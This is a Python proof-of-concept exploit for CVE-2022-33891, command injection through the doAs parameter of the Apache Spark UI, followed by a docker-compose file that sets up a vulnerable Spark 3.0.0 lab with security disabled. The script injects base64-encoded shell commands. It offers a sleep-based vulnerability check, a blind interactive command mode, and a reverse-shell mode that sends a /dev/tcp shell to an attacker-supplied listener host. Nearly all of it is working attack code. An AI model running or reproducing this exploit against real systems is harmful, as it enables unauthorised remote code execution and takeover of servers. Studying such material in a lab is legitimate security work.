#!/usr/bin/env python3import requestsimport argparseimport base64import datetime

parser = argparse.ArgumentParser(description='CVE-2022-33891 Python POC Exploit Script')parser.add_argument('-u', '--url', help='URL to exploit.', required=True)parser.add_argument('-p', '--port', help='Exploit target\'s port.', required=True)parser.add_argument('--revshell', default=False, action="store_true", help="Reverse Shell option.")parser.add_argument('-lh', '--listeninghost', help='Your listening host IP address.')parser.add_argument('-lp', '--listeningport', help='Your listening host port.')parser.add_argument('--check', default=False, action="store_true", help="Checks if the target is exploitable with a sleep test")
args = parser.parse_args()
full_url = f"{args.url}:{args.port}"

def check_for_vuln(url):    print("[*] Attempting to connect to site...")    r = requests.get(f"{full_url}/?doAs='testing'", allow_redirects=False)    if r.status_code != 403:        print("[-] Does not look like an Apache Spark server.")        quit(1)    elif "org.apache.spark.ui" not in r.content.decode("utf-8"):        print("[-] Does not look like an Apache Spark server.")        quit(1)    else:        print("[*] Performing sleep test of 10 seconds...")        t1 = datetime.datetime.now()        run_cmd("sleep 10")        t2 = datetime.datetime.now()        delta = t2-t1        if delta.seconds < 10:            print("[-] Sleep was less than 10. This target is probably not vulnerable")        else:            print("[+] Sleep was 10 seconds! This target is probably vulnerable!")        exit(0)

def cmd_prompt():    # Provide user with cmd prompt on loop to run commands    cmd = input("> ")    return cmd

def base64_encode(cmd):    message_bytes = cmd.encode('ascii')    base64_bytes = base64.b64encode(message_bytes)    base64_cmd = base64_bytes.decode('ascii')    return base64_cmd

def run_cmd(cmd):    try:        # Execute given command from cmd prompt        #print("[*] Command is: " + cmd)        base64_cmd = base64_encode(cmd)        #print("[*] Base64 command is: " + base64_cmd)        exploit = f"/?doAs=`echo {base64_cmd} | base64 -d | bash`"        exploit_req = f"{full_url}{exploit}"        print("[*] Full exploit request is: " + exploit_req)        requests.get(exploit_req, allow_redirects=False)    except Exception as e:        print(str(e))

def revshell(lhost, lport):    print(f"[*] Reverse shell mode.\n[*] Set up your listener by entering the following:\n nc -nvlp {lport}")    input("[!] When your listener is set up, press enter!")    rev_shell_cmd = f"sh -i >& /dev/tcp/{lhost}/{lport} 0>&1"    run_cmd(rev_shell_cmd)
def main():
    if args.check and args.revshell:        print("[!] Please choose either revshell or check!")        exit(1)
    elif args.check:        check_for_vuln(full_url)
    # Revshell    elif args.revshell:        if not (args.listeninghost and args.listeningport):            print("[x] You need a listeninghost and listening port!")            exit(1)        else:            lhost = args.listeninghost            lport = args.listeningport            revshell(lhost, lport)    else:        # "Interactive" mode        print("[*] \"Interactive\" mode!\n[!] Note: you will not receive any output from these commands. Try using something like ping or sleep to test for execution.")        while True:            command_to_run = cmd_prompt()            run_cmd(command_to_run)

if __name__ == "__main__":    main()

version: '2'
services:
  spark:    image: docker.io/bitnami/spark:3.0.0    environment:      - SPARK_MODE=master      - SPARK_RPC_AUTHENTICATION_ENABLED=no      - SPARK_RPC_ENCRYPTION_ENABLED=no      - SPARK_LOCAL_STORAGE_ENCRYPTION_ENABLED=no      - SPARK_SSL_ENABLED=no    ports:      - '8080:8080'